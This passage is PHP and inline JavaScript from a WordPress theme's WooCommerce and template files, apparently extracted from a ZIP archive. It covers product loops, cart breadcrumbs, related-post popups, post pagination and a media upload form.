			$loop_wrapper_classes[] = 'penci-owl-carousel swiper penci-owl-carousel-slider display-style-carousel';
		}

		$classes[]              = $section_id;
		$loop_wrapper_classes[] = $section_id . '-container';

		echo '<div data-section="' . esc_attr( $section_id ) . '" class="penci-custom-products penci-woo-page-container ' . implode( ' ', $classes ) . '">';

		if ( $products->have_posts() ) {
			if ( $preloader ) {
				echo '<div class="penci-products-preloader"><span class="penci-loading-icon"><span class="bubble"></span><span class="bubble"></span><span class="bubble"></span></span></div>';
			}
			echo '<ul ' . implode( ' ', $data_attr ) . ' data-item="' . esc_attr( $columns ) . '" data-columns="' . esc_attr( $columns ) . '" class="' . implode( ' ', $loop_wrapper_classes ) . '">';
			if ( 'carousel' === $settings['layout'] ) {
				echo '<div class="swiper-wrapper">';
			}
			while ( $products->have_posts() ) :
				$products->the_post();
				wc_get_template_part( 'content', 'product' );
			endwhile;
			if ( 'carousel' === $settings['layout'] ) {
				echo '</div>';
			}
			woocommerce_product_loop_end();
			if ( 'none' !== $settings['pagination'] && 'carousel' !== $settings['layout'] ) {
				echo '<div id="penci-load-' . esc_attr( $unique_class ) . '" data-part="' . esc_attr( $unique_class ) . '" class="page-unique-part">';
				penci_woo_infinit_load_button( $settings['pagination'], $products->max_num_pages );
				woocommerce_pagination();
				echo '</div>';
			}
		} else {
			echo penci_woo_translate_text( 'penci_woo_trans_noproductfount' );
		}

		echo '</div>';

		wc_reset_loop();
		wp_reset_postdata();
	}
}

if ( ! function_exists( 'penci_order_by_rating_post_clauses' ) ) {
	function penci_order_by_rating_post_clauses( $args ) {
		global $wpdb;

		$args['where']   .= " AND $wpdb->commentmeta.meta_key = 'rating' ";
		$args['join']    .= "LEFT JOIN $wpdb->comments ON($wpdb->posts.ID = $wpdb->comments.comment_post_ID) LEFT JOIN $wpdb->commentmeta ON($wpdb->comments.comment_ID = $wpdb->commentmeta.comment_id)";
		$args['orderby'] = "$wpdb->commentmeta.meta_value DESC";
		$args['groupby'] = "$wpdb->posts.ID";

		return $args;
	}
}

add_action( 'woocommerce_before_cart_totals', 'penci_woo_before_cart_total_wrap' );
function penci_woo_before_cart_total_wrap() {
	echo '<div class="penci-woo-cart-total-wrap">';
}

add_action( 'woocommerce_after_cart_totals', 'penci_woo_before_cart_end_wrap' );
function penci_woo_before_cart_end_wrap() {
	echo '</div>';
}

add_action( 'woocommerce_share', 'penci_woo_social_share' );
function penci_woo_social_share() {
	echo '<div class="single-product-share">';
	echo '<span class="share-title">' . penci_get_setting( 'penci_trans_share' ) . '</span>';
	penci_soledad_social_share( 'single' );
	echo '</div>';
}

add_action( 'woocommerce_before_cart', 'penci_woo_pages_breadcrumbs' );
add_action( 'woocommerce_before_checkout_form', 'penci_woo_pages_breadcrumbs', 0 );
function penci_woo_pages_breadcrumbs() {
	?>
    <div class="penci_woo_pages_breadcrumbs">
        <ul>
            <li class="step-cart <?php echo ( is_cart() ) ? 'active' : 'inactive'; ?>">
                <a href="<?php echo esc_url( wc_get_cart_url() ); ?>">
                    <span><?php echo penci_woo_translate_text( 'penci_woo_trans_shoppingcart' ); ?></span>
                </a>
            </li>
            <li class="step-checkout <?php echo ( is_checkout() && ! is_order_received_page() ) ? 'active' : 'inactive'; ?>">
                <a href="<?php echo esc_url( wc_get_checkout_url() ); ?>">
                    <span><?php echo penci_woo_translate_text( 'penci_woo_trans_checkout' ); ?></span>
                </a>
            </li>
            <li class="step-complete <?php echo ( is_order_received_page() ) ? 'active' : 'inactive'; ?>">
                <span><?php echo penci_woo_translate_text( 'penci_woo_trans_ordrcompleted' ); ?></span>
            </li>
        </ul>
    </div>
	<?php
}

if ( ! function_exists( 'penci_woo_get_custom_page_link' ) ) {
	function penci_woo_get_custom_page_link( $page ) {
		$url = '';
		switch ( $page ) {
			case 'home':
				$url = get_home_url();
				break;
			case 'shop':
				$url = wc_get_page_permalink( 'shop' );
				break;
			case 'cart':
				$url = wc_get_cart_url();
				break;
			case 'account':
				$url = wc_get_page_permalink( 'myaccount' );
				break;
			case 'wishlist':
				$url = get_page_link( get_theme_mod( 'penci_woocommerce_wishlist_page' ) );
				break;
			case 'compare':
				$url = get_page_link( get_theme_mod( 'penci_woocommerce_compare_page' ) );
				break;
			case 'filer':
				$url = '#productfilter';
				break;
		}

		return $url;
	}
}

if ( ! function_exists( 'penci_woo_ele_lib_list' ) ) {
	function penci_woo_ele_lib_list() {
		$elementor_library_args = array(
			'post_type'      => 'elementor_library',
			'posts_per_page' => - 1,
		);

		if ( post_type_exists( 'penci-block' ) ) {
			$elementor_library_args['post_type'] = 'penci-block';
		}

		$elementor_library = get_posts( $elementor_library_args );

		$penci_elementor_library = array();

		foreach ( $elementor_library as $library ) {
			$penci_elementor_library[ $library->post_title ] = $library->ID;
		}

		return $penci_elementor_library;
	}
}

if ( ! function_exists( 'penci_woo_cat_list_opt' ) ) {
	function penci_woo_terms_list_opt( $tax ) {

		$terms_list = array();
		$terms      = get_terms( array(
			'taxonomy'   => $tax,
			'hide_empty' => false,
		) );

		if ( ! empty( $terms ) ) {
			foreach ( $terms as $term ) {
				$terms_list[ $term->term_id ] = $term->name;
			}
		}

		return $terms_list;
	}
}

if ( ! function_exists( 'penci_woo_cat_list_opt' ) ) {
	add_action( 'init', 'penci_woo_cat_list_opt' );
	function penci_woo_cat_list_opt() {
		// Thank you text
		add_filter( 'woocommerce_thankyou_order_received_text', function ( $text, $order ) {
			$user_text = get_theme_mod( 'penci_woo_checkout_success_thankyou_text' );

			return $user_text ? $user_text : $text;
		}, 10, 2 );

		add_action( 'woocommerce_before_checkout_form', function () {
			echo get_theme_mod( 'penci_woo_checkout_before_content' );
		} );

		add_action( 'woocommerce_before_checkout_form', function () {
			echo get_theme_mod( 'woocommerce_after_checkout_form' );
		} );

		add_action( 'woocommerce_before_cart', function () {
			echo get_theme_mod( 'penci_woo_cart_before_content' );
		} );

		add_action( 'woocommerce_after_cart', function () {
			echo get_theme_mod( 'penci_woo_cart_after_content' );
		} );

		// product_excerpt_length
		if ( ! empty( get_theme_mod( 'penci_woo_limit_product_excerpt' ) ) ) {
			add_filter( 'woocommerce_short_description', function ( $excerpt ) {
				global $post;
				$quicview = wc_get_loop_prop( 'quickview', false );
				$length   = get_theme_mod( 'penci_woo_limit_product_excerpt' );
				if ( isset( $post->post_type ) && 'product' == $post->post_type && ! is_singular( 'product' ) && ! $quicview ) {
					$excerpt = wp_trim_words( $excerpt, $length );
				}

				return $excerpt;
			}, 10, 1 );
		}
	}
}

if ( ! function_exists( 'penci_get_product_loop_class' ) ) {
	/**
	 * Get Product Loop Class
	 *
	 * @return string
	 */
	function penci_get_product_loop_class() {
		$product_display_style = wc_get_loop_prop( 'products_view' );
		$product_style         = wc_get_loop_prop( 'product_loop_style' );
		$product_loop_name     = wc_get_loop_prop( 'name' );
		$product_loop_name     = penci_is_mobile() ? 'mobile' : $product_loop_name;
		$default_product_style = get_theme_mod( 'penci_woocommerce_product_style', 'style-1' );
		$product_style         = 'list' == $product_display_style ? 'list' : $product_style;
		$product_style         = in_array( $product_loop_name, array(
			'up-sells',
			'cross-sells',
			//'mobile',
			//'custom',
			'related',
			'wishlist',
		) ) ? $default_product_style : $product_style;

		$product_style = $product_style ? $product_style : $default_product_style;

		return $product_style;
	}
}

if ( ! function_exists( 'penci_shop_update_cart_item' ) ) {
	/**
	 * Update cart item.
	 *
	 * @return void
	 */
	function penci_shop_update_cart_item() {
		if ( ( isset( $_GET['item_id'] ) && $_GET['item_id'] ) && ( isset( $_GET['qty'] ) ) ) {
			global $woocommerce;
			if ( $_GET['qty'] ) {
				$woocommerce->cart->set_quantity( $_GET['item_id'], $_GET['qty'] );
			} else {
				$woocommerce->cart->remove_cart_item( $_GET['item_id'] );
			}
		}

		WC_AJAX::get_refreshed_fragments();
	}

	add_action( 'wp_ajax_penci_shop_update_cart_item', 'penci_shop_update_cart_item' );
	add_action( 'wp_ajax_nopriv_penci_shop_update_cart_item', 'penci_shop_update_cart_item' );
}

function penci_shop_product_round_style( $icon, $setting ) {
	$direct = 'vertical';

	$horizontal_class = array(
		'center-top',
		'center-center',
		'center-bottom',
	);

	$vertical_class = array(
		'top-left',
		'top-right',
		'bottom-left',
		'bottom-right',
	);

	if ( in_array( $setting, $horizontal_class ) ) {
		$direct = 'horizontal';
	}

	if ( in_array( $setting, $vertical_class ) && 'group' == $icon ) {
		$direct = 'vertical';
	}

	return $direct;
}

if ( ! function_exists( 'penci_product_is_color_name' ) ) {
	function penci_product_is_color_name( $name ) {
		$color = array(
			'aliceblue',
			'antiquewhite',
			'aqua',
			'aquamarine',
			'azure',
			'beige',
			'bisque',
			'black',
			'blanchedalmond',
			'blue',
			'blueviolet',
			'brown',
			'burlywood',
			'cadetblue',
			'chartreuse',
			'chocolate',
			'coral',
			'cornflowerblue',
			'cornsilk',
			'crimson',
			'cyan',
			'darkblue',
			'darkcyan',
			'darkgoldenrod',
			'darkgray',
			'darkgreen',
			'darkgrey',
			'darkkhaki',
			'darkmagenta',
			'darkolivegreen',
			'darkorange',
			'darkorchid',
			'darkred',
			'darksalmon',
			'darkseagreen',
			'darkslateblue',
			'darkslategray',
			'darkslategrey',
			'darkturquoise',
			'darkviolet',
			'deeppink',
			'deepskyblue',
			'dimgray',
			'dimgrey',
			'dodgerblue',
			'firebrick',
			'floralwhite',
			'forestgreen',
			'fuchsia',
			'gainsboro',
			'ghostwhite',
			'gold',
			'goldenrod',
			'gray',
			'green',
			'greenyellow',
			'grey',
			'honeydew',
			'hotpink',
			'indianred',
			'indigo',
			'ivory',
			'khaki',
			'lavender',
			'lavenderblush',
			'lawngreen',
			'lemonchiffon',
			'lightblue',
			'lightcoral',
			'lightcyan',
			'lightgoldenrodyellow',
			'lightgray',
			'lightgreen',
			'lightgrey',
			'lightpink',
			'lightsalmon',
			'lightseagreen',
			'lightskyblue',
			'lightslategray',
			'lightslategrey',
			'lightsteelblue',
			'lightyellow',
			'lime',
			'limegreen',
			'linen',
			'magenta',
			'maroon',
			'mediumaquamarine',
			'mediumblue',
			'mediumorchid',
			'mediumpurple',
			'mediumseagreen',
			'mediumslateblue',
			'mediumspringgreen',
			'mediumturquoise',
			'mediumvioletred',
			'midnightblue',
			'mintcream',
			'mistyrose',
			'moccasin',
			'navajowhite',
			'navy',
			'oldlace',
			'olive',
			'olivedrab',
			'orange',
			'orangered',
			'orchid',
			'palegoldenrod',
			'palegreen',
			'paleturquoise',
			'palevioletred',
			'papayawhip',
			'peachpuff',
			'peru',
			'pink',
			'plum',
			'powderblue',
			'purple',
			'red',
			'rosybrown',
			'royalblue',
			'saddlebrown',
			'salmon',
			'sandybrown',
			'seagreen',
			'seashell',
			'sienna',
			'silver',
			'skyblue',
			'slateblue',
			'slategray',
			'slategrey',
			'snow',
			'springgreen',
			'steelblue',
			'tan',
			'teal',
			'thistle',
			'tomato',
			'turquoise',
			'saddlebrown',
			'violet',
			'wheat',
			'white',
			'whitesmoke',
			'yellow',
			'yellowgreen',
		);

		return in_array( $name, $color );
	}
}

add_filter( 'woocommerce_cross_sells_columns', function () {
	return get_theme_mod( 'penci_shop_product_cross_sell_columns', 4 );
} );

add_filter( 'woocommerce_upsells_columns', function () {
	return get_theme_mod( 'penci_shop_product_up_sell_columns', 4 );
} );

add_filter( 'woocommerce_related_products_columns', function () {
	return get_theme_mod( 'penci_shop_product_related_columns', 4 );
} );


add_filter( 'woocommerce_before_output_product_categories', function () {
	$columns        = get_theme_mod( 'penci_shop_cat_columns', 4 );
	$mobile_columns = get_theme_mod( 'penci_shop_product_mobile_columns', 2 );
	$display_type   = get_theme_mod( 'penci_shop_cat_display_type', 'grid' );

	$classess = 'carousel' == $display_type ? ' penci-owl-carousel' : '';

	return '<ul class="products penci-woo-product-loop-categories mobile-columns-' . esc_attr( $mobile_columns ) . ' columns-' . esc_attr( $columns ) . ' display-style-' . esc_attr( $display_type . $classess ) . '">';
} );

add_filter( 'woocommerce_after_output_product_categories', function () {
	return '</ul>';
} );

if ( ! function_exists( 'penci_woo_ajax_url' ) ) {
	function penci_woo_ajax_url( $settings = null ) {
		$settings  = json_decode( $settings, true );
		$ajax_args = array();
		foreach ( $settings as $prop => $value ) {
			if ( is_array( $value ) ) {
				foreach ( $value as $sub_prop => $sub_value ) {
					if ( ! empty( $sub_value ) ) {
						$ajax_args[] = 'settings[' . $prop . '][' . $sub_prop . ']=' . $sub_value;
					}
				}
			} else {
				if ( ! empty( $value ) ) {
					$ajax_args[] = 'settings[' . $prop . ']=' . $value;
				}
			}
		}

		return implode( '&', $ajax_args );
	}
}

$category_page = get_option( 'wc_ajax_add_to_cart_variable_category_page' );


if ( isset( $category_page ) && $category_page == "yes" ) {

	if ( ! function_exists( 'woocommerce_template_loop_add_to_cart' ) ) {

		function woocommerce_template_loop_add_to_cart( $args = array() ) {

			global $product;

			$product_type = $product->get_type();

			if ( $product ) {
				$defaults = array(
					'quantity'   => 1,
					'class'      => implode( ' ', array_filter( array(
						'button',
						'product_type_' . $product_type,
						$product->is_purchasable() && $product->is_in_stock() ? 'add_to_cart_button' : '',
						$product->supports( 'ajax_add_to_cart' ) ? 'ajax_add_to_cart' : ''
					) ) ),
					'attributes' => array(
						'data-product_id'  => $product->get_id(),
						'data-product_sku' => $product->get_sku()
					),
				);

				$args = apply_filters( 'woocommerce_loop_add_to_cart_args', wp_parse_args( $args, $defaults ), $product );

				if ( $product_type == "variable" ) {
					woocommerce_variable_add_to_cart();
				} else {
					wc_get_template( 'loop/add-to-cart.php', $args );
				}
			}
		}
	}
}

add_filter( 'woocommerce_product_get_rating_html', function ( $html, $rating, $count ) {
	if ( ! wc_get_loop_prop( 'loop_rating', true ) ) {
		$html = false;
	}

	return $html;
}, 10, 3 );

add_action( 'wp_footer', function () {
	$post_ids    = [];
	$current_ids = isset( $_COOKIE['penci_product_viewed_ids'] ) && $_COOKIE['penci_product_viewed_ids'] ? json_decode( $_COOKIE['penci_product_viewed_ids'], true ) : [];
	if ( is_singular( 'product' ) ) {
		$post_ids[] = get_the_ID();

		if ( ! empty( $current_ids ) ) {
			$post_ids = array_unique( array_merge( $post_ids, $current_ids ) );
		}

		?>
        <script type="text/javascript" id="penci_post_viewed_ids">
          Cookies.set('penci_product_viewed_ids', <?php echo json_encode( $post_ids );?>)
        </script>
		<?php
	}
}, 99999 );


add_filter( 'the_content', function ( $content ) {
	// Retrieve theme mod and page IDs once to improve efficiency.
	$is_use_default   = get_theme_mod( 'penci_woocommerce_standard_page', true );
	$cart_page_id     = wc_get_page_id( 'cart' );
	$checkout_page_id = wc_get_page_id( 'checkout' );

	// Only proceed if the default content is enabled.
	if ( $is_use_default ) {
		if ( is_page( $cart_page_id ) ) {
			return '[woocommerce_cart]';
		}

		if ( is_page( $checkout_page_id ) ) {
			return '[woocommerce_checkout]';
		}
	}

	return $content;
} );PK     N\ρk  k    inc/global-js.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if( ! function_exists('penci_global_js') ) {
	function penci_global_js(){

		$output = '<script>' . "\n";
		$output .= 'var penciBlocksArray=[];' . "\n";
		$output .= 'var portfolioDataJs = portfolioDataJs || [];';
		$output .= 'var PENCILOCALCACHE = {};
		(function () {
				"use strict";
		
				PENCILOCALCACHE = {
					data: {},
					remove: function ( ajaxFilterItem ) {
						delete PENCILOCALCACHE.data[ajaxFilterItem];
					},
					exist: function ( ajaxFilterItem ) {
						return PENCILOCALCACHE.data.hasOwnProperty( ajaxFilterItem ) && PENCILOCALCACHE.data[ajaxFilterItem] !== null;
					},
					get: function ( ajaxFilterItem ) {
						return PENCILOCALCACHE.data[ajaxFilterItem];
					},
					set: function ( ajaxFilterItem, cachedData ) {
						PENCILOCALCACHE.remove( ajaxFilterItem );
						PENCILOCALCACHE.data[ajaxFilterItem] = cachedData;
					}
				};
			}
		)();';

		$output .= "function penciBlock() {
		    this.atts_json = '';
		    this.content = '';
		}";
		$output .= '</script>' . "\n";

		echo $output;
	}
}

add_action('wp_head', 'penci_global_js', 10);PK     N\p|i    %  inc/templates/related_posts-popup.phpnu [        <?php
/**
 * Related post popup template
 * Render list related posts
 *
 * @since 6.3
 */

$orig_post = $post;
global $post;
$numbers_related = get_theme_mod( 'penci_rltpopup_numpost' );
if ( ! isset( $numbers_related ) || $numbers_related < 1 ): $numbers_related = 3; endif;


$orderby_post         = get_theme_mod( 'penci_rltpopup_orderby' ) ? get_theme_mod( 'penci_rltpopup_orderby' ) : 'date';
$related_position     = get_theme_mod( 'penci_rltpopup_position' ) ? get_theme_mod( 'penci_rltpopup_position' ) : 'left';
$related_order_post   = get_theme_mod( 'penci_rltpopup_sort_order' ) ? get_theme_mod( 'penci_rltpopup_sort_order' ) : 'DESC';
$penci_related_by     = get_theme_mod( 'penci_rltpopup_by' );
$related_title_length = get_theme_mod( 'penci_rltpopup_title_length' ) ? get_theme_mod( 'penci_rltpopup_title_length' ) : 6;

$args = penci_get_query_related_posts( get_the_ID(), $penci_related_by, $orderby_post, $related_order_post, $numbers_related );

if ( ! empty( $args ) ) {

$my_query = new wp_query( $args );
if ( $my_query->have_posts() ) {
?>
<aside class="penci-rlt-popup penci-rltpopup-<?php echo $related_position; ?><?php if ( get_theme_mod( 'penci_rltpopup_hide_mobile' ) ): echo ' rltpopup-hide-mobile'; endif; ?>">
    <h3 class="rtlpopup-heading"><?php echo penci_get_setting( 'penci_rltpopup_heading_text' ); ?><a
                class="penci-close-rltpopup">x<span></span><span></span></a></h3>

    <div class="penci-rtlpopup-content">
		<?php $i = 0;
		while ( $my_query->have_posts() ) : $my_query->the_post();
			$trans = 400 + ( 80 * $i ); ?>
            <div class="rltpopup-item"
                 style="transition-delay: <?php echo $trans; ?>ms; -webkit-transition-delay: <?php echo $trans; ?>ms;">
                <div class="rltpopup-item-inner">
					<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) ) : ?>

                        <figure class="rltpopup-thumbnail">
                            <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'small' ) ), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?> class="<?php echo penci_layout_bg_class();?> rltpopup-thumb penci-image-holder"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
								<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'small' ) ), get_the_title(), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                            </a>
                        </figure>

					<?php endif; ?>
                    <div class="rltpopup-meta">
                        <h4><a class="rltpopup-title"
                               href="<?php the_permalink(); ?>"><?php echo wp_trim_words( get_the_title(), $related_title_length, '...' ); ?></a>
                        </h4>
						<?php if ( ! get_theme_mod( 'penci_rltpopup_hide_date' ) ): ?>
                            <span class="date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
                    </div>
                </div>
            </div>
			<?php
			$i ++; endwhile;
		echo '</div></aside>';
		}
		}
		$post = $orig_post;
		wp_reset_postdata();
		?>
PK     N\ʜN    !  inc/templates/post_pagination.phpnu [        <?php
/**
 * Post navigation in single post
 * Create next and prev button to next and prev posts
 *
 * @package Wordpress
 * @since 1.0
 */
$style          = get_theme_mod( 'penci_post_pagination_style', 'style-1' );
$thumbnail_size = in_array( $style, [ 'style-1', 'style-2' ] ) ? 'thumbnail' : 'penci-full-thumb';
$show_thumb     = true;
if ( 'style-1' == $style ) {
	$show_thumb = get_theme_mod( 'penci_post_nav_thumbnail' );
}
?>
<div class="post-pagination pcpagp-<?php echo esc_attr( $style ); ?>">
	<?php
	$prev_post = get_previous_post();
	$next_post = get_next_post();
	?>
	<?php if ( ! empty( $prev_post ) ) : ?>
        <div class="prev-post">
			<?php if ( has_post_thumbnail( $prev_post->ID ) && $show_thumb ): ?>

                <a <?php echo penci_layout_bg( penci_image_srcset( $prev_post->ID, $thumbnail_size ), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-post-nav-thumb penci-holder-load penci-image-holder"
                   href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( $prev_post->ID, $thumbnail_size ), '', ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                </a>

			<?php elseif ( 'style-1' != $style ): ?>

                <a <?php echo penci_layout_bg( penci_get_default_thumbnail_url(), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-post-nav-thumb penci-holder-load penci-image-holder"
                   href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>">
					<?php echo penci_layout_img( penci_get_default_thumbnail_url(), '', ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                </a>

			<?php endif; ?>
            <div class="prev-post-inner">
				<?php if ( $style == 'style-3' ): ?>
                <div class="prev-post-inner-ct">
					<?php endif; ?>
                    <div class="prev-post-title">
                        <span><?php echo penci_get_setting( 'penci_trans_previous_post' ); ?></span>
                    </div>
                    <a href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>">
                        <div class="pagi-text">
                            <h5 class="prev-title"><?php echo get_the_title( $prev_post->ID ); ?></h5>
                        </div>
                    </a>
					<?php if ( $style == 'style-3' ): ?>
                </div>
			<?php endif; ?>
            </div>
        </div>
	<?php endif; ?>

	<?php if ( ! empty( $next_post ) ) : ?>
        <div class="next-post">
			<?php if ( has_post_thumbnail( $next_post->ID ) && $show_thumb ):
				?>

                <a <?php echo penci_layout_bg( penci_image_srcset( $next_post->ID, $thumbnail_size ), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-post-nav-thumb penci-holder-load nav-thumb-next penci-image-holder"
                   href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( $next_post->ID, $thumbnail_size ), '', ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                </a>

			<?php elseif ( 'style-1' != $style ): ?>

                <a <?php echo penci_layout_bg( penci_get_default_thumbnail_url(), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-post-nav-thumb penci-holder-load nav-thumb-next penci-image-holder"
                   href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>">
					<?php echo penci_layout_img( penci_get_default_thumbnail_url(), '', ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                </a>

			<?php endif; ?>
            <div class="next-post-inner">
				<?php if ( $style == 'style-3' ): ?>
                <div class="next-post-inner-ct">
					<?php endif; ?>
                    <div class="prev-post-title next-post-title">
                        <span><?php echo penci_get_setting( 'penci_trans_next_post' ); ?></span>
                    </div>
                    <a href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>">
                        <div class="pagi-text">
                            <h5 class="next-title"><?php echo get_the_title( $next_post->ID ); ?></h5>
                        </div>
                    </a>
					<?php if ( $style == 'style-3' ): ?>
                </div>
			<?php endif; ?>
            </div>
        </div>
	<?php endif; ?>
</div>
PK     N\uW$Q  Q    inc/templates/upload_form.phpnu [        <?php
extract( $args );
$btn_class              = is_admin() ? ' button button-primary' : '';
$upload_preview_wrapper = $wrapper = isset( $wrapper ) && ! empty( $wrapper ) ? $wrapper : 'upload_preview_container'; ?>
<div id="<?php echo esc_attr( $id ); ?>" class="penci_upload_wrapper <?php echo esc_attr( $class ); ?>">

	<?php if ( apply_filters( 'penci_enable_upload', true ) ) : ?>
        <div class="<?php echo esc_attr( $upload_preview_wrapper ); ?>">
            <ul>
				<?php

				if ( $source && is_array( $source ) ) {
					$output = '';

					foreach ( $source as $item ) {
						if ( is_string( $item ) && ! is_numeric( $item ) ) {
							$output .=
								'<li>
                                <input type="hidden" name="' . $name . '[]" value="' . esc_attr( $item ) . '">
                                <img src="' . esc_url( $item ) . '">
                                <div class="remove"><i class="penciicon-close-button"></i></div>
                            </li>';
						} else {
							$image = wp_get_attachment_image_src( $item, apply_filters( 'penci_upload_preview_size', 'thumbnail' ) );

							if ( $image ) {
								$output .=
									'<li>
									<input type="hidden" name="' . $name . '[]" value="' . esc_attr( $item ) . '">
									<img alt="" src="' . esc_url( $image[0] ) . '"/>
									<div class="remove"><i class="penciicon-close-button"></i></div>
								</li>';
							}
						}
					}

					echo $output;
				}
				?>
            </ul>
        </div>
        <div id="<?php echo esc_attr( $button ); ?>" class="penci-upload-img-btn <?php echo $btn_class; ?>">
            <i class="fa fa-folder-open-o"></i>
            <span><?php echo isset( $heading ) && $heading ? $heading : penci_get_setting( 'penci_trans_cimage' ); ?></span>
        </div>
	<?php else : ?>
		<?php echo apply_filters( 'penci_enable_upload_msg', '' ); ?>
	<?php endif ?>

</div>

<?php if ( apply_filters( 'penci_enable_upload', true ) ) : ?>
    <script>
        (function ($) {
            $(document).on('ready', function () {
                var file_frame;

                $('#<?php echo esc_js( $button ); ?>').on('click', function (event) {
                    event.preventDefault();

                    var container = $(this).closest('.penci_upload_wrapper');

                    if (file_frame) {
                        file_frame.open();
                        return;
                    }

                    file_frame = wp.media.frames.file_frame = wp.media({
                        title: '<?php echo penci_get_setting( 'penci_trans_admedia' ); ?>',
                        button: {
                            text: '<?php echo penci_get_setting( 'penci_trans_insert' ); ?>',
                        },
                        library: {
                            type:
							<?php
							$type = isset( $type ) && ! empty( $type ) ? $type : '';
							echo json_encode( $type );
							?>
                        },
                        multiple:
						<?php
						$multi = $multi ? 'true' : 'false';
						echo $multi;
						$multi = $multi === 'true' ? true : false;
						?>
                    });

                    file_frame.on('select', function () {
                        var output = '',
                            attachment = file_frame.state().get('selection').toJSON();

                        for (var i = 0; i < attachment.length; i++) {
                            output +=
                                '<li>' +
                                '<input type="hidden" name="<?php echo esc_attr( $name ); ?>[]" value="' + attachment[i]['id'] + '">' +
                                '<img src="' + attachment[i]['url'] + '">' +
                                '<div class="remove"><i class="penciicon-close-button"></i></div>' +
                                '</li>';
                        }


						<?php if ( $multi ) : ?>
                        container.find('ul').append(output);
						<?php else : ?>
                        container.find('ul').html(output);
						<?php endif ?>
                    });

                    file_frame.open();
                });

                $('#<?php echo esc_js( $id ); ?>').find(".<?php echo esc_attr( $upload_preview_wrapper ); ?>").on('click', '.remove', function () {
                    var parent = $(this).parent();
                    $(parent).fadeOut(function () {
                        $(this).remove();
                    });
                });

                $('#<?php echo esc_js( $id ); ?>').find('.<?php echo esc_attr( $upload_preview_wrapper ); ?> ul').sortable();
            });
        })(jQuery);
    </script>
<?php endif ?>
PK     N\MO  O  &  inc/templates/related_posts_author.phpnu [        <?php
/**
 * Related post template
 * Render list related posts
 *
 * @since 8.3.9
 */
$author_id = isset( $args['id'] ) && $args['id'] ? $args['id'] : null;

if ( ! $author_id ) {
	return;
}
$data_auto = 'true';
$auto      = get_theme_mod( 'penci_post_related_autoplay' );
if ( $auto == false ): $data_auto = 'false'; endif;

$sidebar_opts = penci_get_single_key( get_the_ID(), 'penci_post_sidebar_display' );

$orig_post = $post;
global $post;
$numbers_related = get_theme_mod( 'penci_numbers_related_post' );
if ( ! isset( $numbers_related ) || $numbers_related < 1 ): $numbers_related = 6; endif;

$orderby_post = 'date';
if ( get_theme_mod( 'penci_related_orderby' ) && get_theme_mod( 'penci_related_orderby' ) != 'date' ):
	$orderby_post = get_theme_mod( 'penci_related_orderby' );
endif;

$related_order_post   = get_theme_mod( 'penci_related_sort_order' );
$related_order_post   = $related_order_post ? $related_order_post : 'DESC';
$related_title_length = get_theme_mod( 'penci_related_posts_title_length' ) ? get_theme_mod( 'penci_related_posts_title_length' ) : 8;
$penci_related_by     = get_theme_mod( 'penci_related_by' );

$query_args = [
	'author'         => $author_id,
	'posts_per_page' => $numbers_related,
	'orderby'        => $orderby_post,
	'order'          => $related_order_post
];

if ( 'most_liked' == $orderby_post ) {
	$query_args['meta_key'] = '_post_like_count';
	$query_args['orderby']  = 'meta_value_num';
}

if ( ! empty( $query_args ) ) {
	$query = new wp_query( $query_args );
	if ( $query->have_posts() ) {
		$align        = 'none';
		$title_align  = 'left';
		$grid_columns = 2;

		$wrapper_class = 'penci-ilrelated-posts';
		$style         = 'grid';
		$wrapper_class .= ' pcilrt-' . $style . ' pcilrt-' . $align . ' pcilrt-col-' . $grid_columns;


		?>
        <div class="<?php echo $wrapper_class; ?>">
            <ul class="pcilrp-content">
				<?php while ( $query->have_posts() ) : $query->the_post(); ?>
                    <li class="pcilrp-item pcilrp-item-<?php echo $style; ?>">
                        <div class="pcilrp-flex">

                            <div class="pcilrp-thumb">

                                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'small' ) )); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder"
                                   href="<?php the_permalink(); ?>"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'small' ) ), get_the_title() ); ?>
                                </a>

                            </div>

                            <div class="pcilrp-body">
                                <div class="pcilrp-title">
                                    <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
                                </div>

                            </div>
                        </div>
                    </li>
				<?php endwhile; ?>
            </ul>
        </div>

		<?php


	}
	wp_reset_postdata();
}PK     N\~L  L    inc/templates/topbar_social.phpnu [        <div class="pctopbar-item penci-topbar-social<?php if( get_theme_mod('penci_top_bar_brand_social') ): echo ' penci-social-textcolored'; endif; if( get_theme_mod('penci_tblogin') ): echo ' penci-lgdisplay-' . get_theme_mod('penci_tblogin'); endif; ?>">
	<?php
	if( get_theme_mod( 'penci_tblogin' ) == 'left' ){
		get_template_part( 'inc/templates/topbar_login' );
	}
